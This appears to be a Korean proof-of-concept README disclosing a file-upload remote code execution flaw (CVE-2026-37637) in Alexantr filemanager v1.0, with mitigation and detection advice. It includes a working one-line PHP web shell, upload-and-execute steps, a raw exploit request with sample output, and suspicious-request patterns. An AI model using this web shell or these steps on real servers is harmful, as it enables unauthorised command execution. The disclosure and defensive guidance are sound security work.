
# Alexantr filemanager v1.0의 무제한 파일 업로드를 통한 원격 코드 실행
CVE-2026-37637에 대한 개념 증명(PoC) - Alexantr filemanager v1.0에서 filemanager.php의 무제한 파일 업로드를 통한 원격 코드 실행(RCE)
CVE-2026-37637은 Alexantr filemanager v1.0에 영향을 미치는 원격 코드 실행 취약점입니다.
이 취약점은 filemanager.php 구성 요소에 존재하며, 업로드된 파일에 대한 검증 부족으로 인해 발생합니다. 원격 공격자는 웹에서 접근 가능한 디렉터리에 악성 PHP 파일을 업로드하고 서버에서 임의의 명령을 실행할 수 있습니다.
CVE 상태: MITRE에 제출됨
연구자: CYBER-SEC 공급업체 저장소: https://github.com/alexantr/filemanager
| 항목 | 설명 |
|---|---|
| CVE ID | CVE-2026-37637 |
| 취약점 유형 | 원격 코드 실행 |
| 영향 제품 | Alexantr filemanager |
| 영향 버전 | v1.0 |
| 취약 구성 요소 | filemanager.php |
| 공격 경로 | 원격 |
| 인증 필요 여부 | 배포/구성에 따라 다름 |
| 영향 | 임의 명령 실행 |
| 근본 원인 | 무제한 파일 업로드 및 서버 측 파일 검증 부재 |
공격자는 파일 업로드 기능을 통해 악성 PHP 파일을 업로드할 수 있습니다. 업로드된 파일이 웹에서 접근 가능한 위치에 저장되고 PHP 실행이 허용되므로, 공격자는 서버에서 임의의 시스템 명령을 실행할 수 있습니다.
성공적인 악용 시 공격자는 다음을 수행할 수 있습니다:
이 애플리케이션은 파일 확장자, MIME 유형 또는 파일 내용을 제대로 검증하지 않고 사용자가 임의의 파일을 업로드할 수 있도록 허용합니다.
다음과 같은 악성 PHP 파일을 업로드할 수 있습니다:
<?php system($_GET['cmd']); ?>
웹에서 접근 가능한 디렉터리에 업로드되면, 공격자는 브라우저를 통해 파일에 접근하고 cmd 매개변수로 명령을 전달하여 명령을 실행할 수 있습니다.
예시:
http://target/uploads/shell.php?cmd=id
이로 인해 기본 운영 체제에서 명령이 실행됩니다.
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
브라우저에서 애플리케이션을 엽니다:
http://localhost:8000/filemanager.php
배포 또는 구성에 따라 애플리케이션은 다음을 통해서도 접근할 수 있습니다:
http://localhost:8000/pheditor.php
shell.php라는 파일을 생성합니다:
<?php system($_GET['cmd']); ?>
애플리케이션의 업로드 기능을 사용하여 파일을 업로드합니다.
파일을 업로드한 후 브라우저에서 직접 접근합니다:
http://localhost:8000/uploads/shell.php?cmd=id
악용에 성공하면 서버가 명령을 실행하고 출력을 반환합니다.
출력 예시:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
cmd 매개변수를 통해 전달된 명령이 서버에서 실행됩니다.
이 취약점은 파일 업로드 기능의 서버 측 검증 부족으로 인해 발생합니다.
애플리케이션은 다음을 제대로 제한하지 않습니다:
결과적으로 실행 가능한 PHP 파일이 업로드되어 직접 실행될 수 있습니다.
공급업체와 사용자는 다음 보호 조치를 구현해야 합니다.
다음과 같은 실행 가능한 파일 유형의 업로드를 허용하지 않습니다:
.php, .phtml, .php3, .php4, .php5, .phar
예상되는 파일 유형만 허용합니다. 예:
.jpg, .png, .gif, .txt, .pdf
클라이언트가 제공한 Content-Type 헤더에만 의존하지 마십시오.
파일 검증은 서버 측에서 수행해야 합니다.
업로드된 파일은 직접 실행되거나 공개적으로 접근 가능해서는 안 됩니다.
Apache의 경우 .htaccess로 수행할 수 있습니다:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
Nginx의 경우 업로드 경로에서 PHP 처리를 차단합니다:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
서버에서 생성한 임의의 파일 이름을 사용하고 사용자 제어 확장자를 제거합니다.
업로드 기능을 신뢰할 수 있는 사용자에게만 제한합니다.
관리자는 웹에서 접근 가능한 디렉터리에서 의심스러운 업로드된 PHP 파일을 찾을 수 있습니다.
지표 예시:
shell.php
cmd.php
upload.php
backdoor.php
업로드 디렉터리 내 .php 파일
의심스러운 요청 패턴에는 다음이 포함될 수 있습니다:
?cmd=
?exec=
?shell=
?command=
로그 항목 예시:
GET /uploads/shell.php?cmd=id HTTP/1.1
이 저장소는 교육 및 방어적 보안 목적으로만 제공됩니다.
제공된 정보와 개념 증명은 개발자, 시스템 관리자 및 보안 전문가가 취약점을 이해하고 수정하는 데 도움을 주기 위한 것입니다.
명시적 승인 없이 이 정보를 사용하여 시스템을 공격하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
저자는 이 저장소에 제공된 정보의 오용에 대해 책임을 지지 않습니다.